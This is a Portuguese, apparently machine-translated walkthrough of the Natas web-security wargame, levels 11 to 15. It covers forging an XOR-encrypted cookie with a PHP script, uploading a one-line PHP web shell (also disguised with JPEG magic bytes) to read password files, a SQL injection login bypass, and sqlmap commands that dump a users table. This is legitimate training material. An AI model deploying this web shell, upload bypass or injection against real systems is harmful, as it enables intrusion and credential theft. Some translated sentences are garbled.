
Neste artigo, trataremos da operação de algumas identidades da WEB usando o jogo de guerra
Natas como exemplo. Cada nível tem acesso à senha do próximo nível. Todas as senhas também são armazenadas nos arquivos / etc / natas_webpass /. Por exemplo, a senha para natas5 é armazenada no arquivo / etc / natas_webpass / natas5 e é somente leitura para usuários natas4 e natas5.
Informações OrganizacionaisEspecialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:
- PWN;
- criptografia (criptografia);
- tecnologias de rede (rede);
- reverso (engenharia reversa);
- esteganografia (estegano);
- pesquisa e exploração de vulnerabilidades na WEB.
Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.
Para que você possa descobrir sobre novos artigos, software e outras informações, criei um
canal no Telegram e um
grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações
pessoais e responderei a todos .
Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.
nível 11
Analise o código:
- a senha estará disponível se o valor da matriz de dados com a chave showpassword for "yes";

- a matriz de dados é criada pela função loadData, na qual os dados padrão são passados como um parâmetro;


- a função loadData carrega valores de dados de um cookie (codifica dados em base64, criptografa xor em uma chave desconhecida, decodifica dados no formato json);


- define os valores recebidos.
O que você precisa fazer:
- recuperar chave de criptografia XOR:
- pegue dados criptografados de um cookie;
- decodificar base64;
- codificar dados padrão no formato json;
- O Proxor recebeu cronogramas.
- codifique e criptografe os novos dados usando o algoritmo inverso, em que showpassword == yes ;
- insira os novos dados no cookie e recarregue a página.

<?php function xor_encrypt($in, $k) { $key = $k; $text = $in; $outText = ''; for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $old_data_code = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw"; $old_data_decode = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $new_data_decode = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); $KEY = xor_encrypt(base64_decode($old_data_code), json_encode($old_data_decode)); echo "key: ". $KEY . "\n"; $KEY="qw8J"; $new_data_code = base64_encode(xor_encrypt(json_encode($new_data_decode), $KEY)); echo "new cookie: " . $new_data_code . "\n"; ?>


nível 12
Quando você salva o arquivo no site, ele é salvo com um nome aleatório e uma extensão JPEG. Mas o mais importante é que esse nome seja formado e fornecido ao usuário em um campo oculto do formulário oculto antes mesmo de o arquivo ser selecionado e, depois disso, enviado ao servidor com o arquivo.
Tarefa: criar php-shell, interceptar a solicitação para o servidor e
altere o nome do arquivo para * .php.
<? echo system($_GET["cmd"]); ?>

Usamos o Burp Suite: Definimos as configurações de proxy do navegador para 127.0.0.1:8080. Envie o shell. Na guia Proxy, substituímos a solicitação.



Voltamos ao nosso arquivo no servidor, passando comandos para a linha de comando através do parâmetro cmd.
cat /etc/natas_webpass/natas13

Esse tipo de vulnerabilidade é classificado como Upload irrestrito de arquivo.
Para criar um Shell, é melhor usar constantes php, pois a execução das funções do sistema pode ser proibida pelas configurações do servidor.
nível 13
Ao salvar o mesmo shell no servidor, somos informados de que isso não é uma imagem. Analisamos o código.

A função exif_imagetype está presente.


Para verificar o arquivo JPEG, essa função usa a função interna is_jpeg, que verifica os quatro primeiros bytes do arquivo.

O fato é que o intérprete php executa código que está entre <? ?>, pulando todos os outros caracteres. Abra o shell do nível anterior no editor hexadecimal e adicione os bytes 0xFFD8FFE0 ao início do arquivo.

Envie para o site por analogia com o nível anterior e obtenha uma senha.

nível 14
Um erro comum no formulário de autorização. Consulta ao banco de dados:
SELECT * from users where username="username" and password="password";

É possível sempre tornar a solicitação verdadeira: login = "admin" ou 1 = 1 - ".

Nesse caso, ou 1 = 1 retorna true, e o restante da solicitação é comentado:
SELECT * from users where username="admin" or 1=1;
Tiramos a senha.

Esse tipo de vulnerabilidade pertence à categoria de Injeção SQL.
nível 15
Neste formulário, analisamos a operação do sqlmap. Envie uma solicitação e intercepte os dados e o cabeçalho HTTP.


Selecionamos apenas as informações necessárias no cabeçalho. Nesse caso: User-Agent, Referer, Authorization. Defina os parâmetros do sqlmap:
- -u "URL"
- --headers = "Cabeçalhos HTTP, separados por` \ n`"
- --data = "dados da solicitação POST"
- --current-db - determina qual banco de dados é usado
- --tamper = space2comment - substitui o espaço pela string / ** / (no SQL, é a mesma coisa)
- --level = (1-5) - nível de verificação
- --risk = (1-3) - risco de varredura

O Sqlmap determinou que o parâmetro username é vulnerável à injeção cega baseada em booleano e mostrou a resposta correta do banco de dados ao evento correto (na varredura subsequente, você pode especificar imediatamente o parâmetro vulnerável e o tipo de injeção: -p username e --technique = B).
B: Injeção SQL cega baseada em booleano
Injeção SQL da consulta U: UNION
T: Injeção SQL cega com base no tempo
E: Injeção SQL baseada em erro
S: Injeção SQL de consultas empilhadas
O Sqlmap detectou o MySQL DBMS (nas varreduras subsequentes, o parâmetro --dbms = MySQL) e perguntou se era necessário determinar a versão do mysql (o padrão é yes).

O Sqlmap relatou que a versão do MySQL> = 5.0.12 (isso é necessário para selecionar as constantes do utilitário DBMS).

O Sqlmap determinou a carga do parâmetro username e perguntou se outros parâmetros deveriam ser verificados (por padrão, não). Também mostra a carga.

Fornece informações sobre o nó e, conforme solicitado, o banco de dados atual: natas15.


Dados os novos dados conhecidos, descobrimos as tabelas do banco de dados natas15:
- -D "banco de dados"
- --tables - define tabelas

Sqlmap definiu uma tabela de usuários.

Reconhecemos as colunas na tabela de usuários:
- -T "mesa"
- --columns - define colunas

O sqlmap definiu 2 colunas.

Despejamos a tabela de usuários (opção --dump). O despejo levou 3 minutos. Executamos a solicitação em 8 threads (--threads 8) - como resultado: 1 minuto.

Tiramos a senha.
Para ser continuado. Você pode se juntar a nós no
Telegram .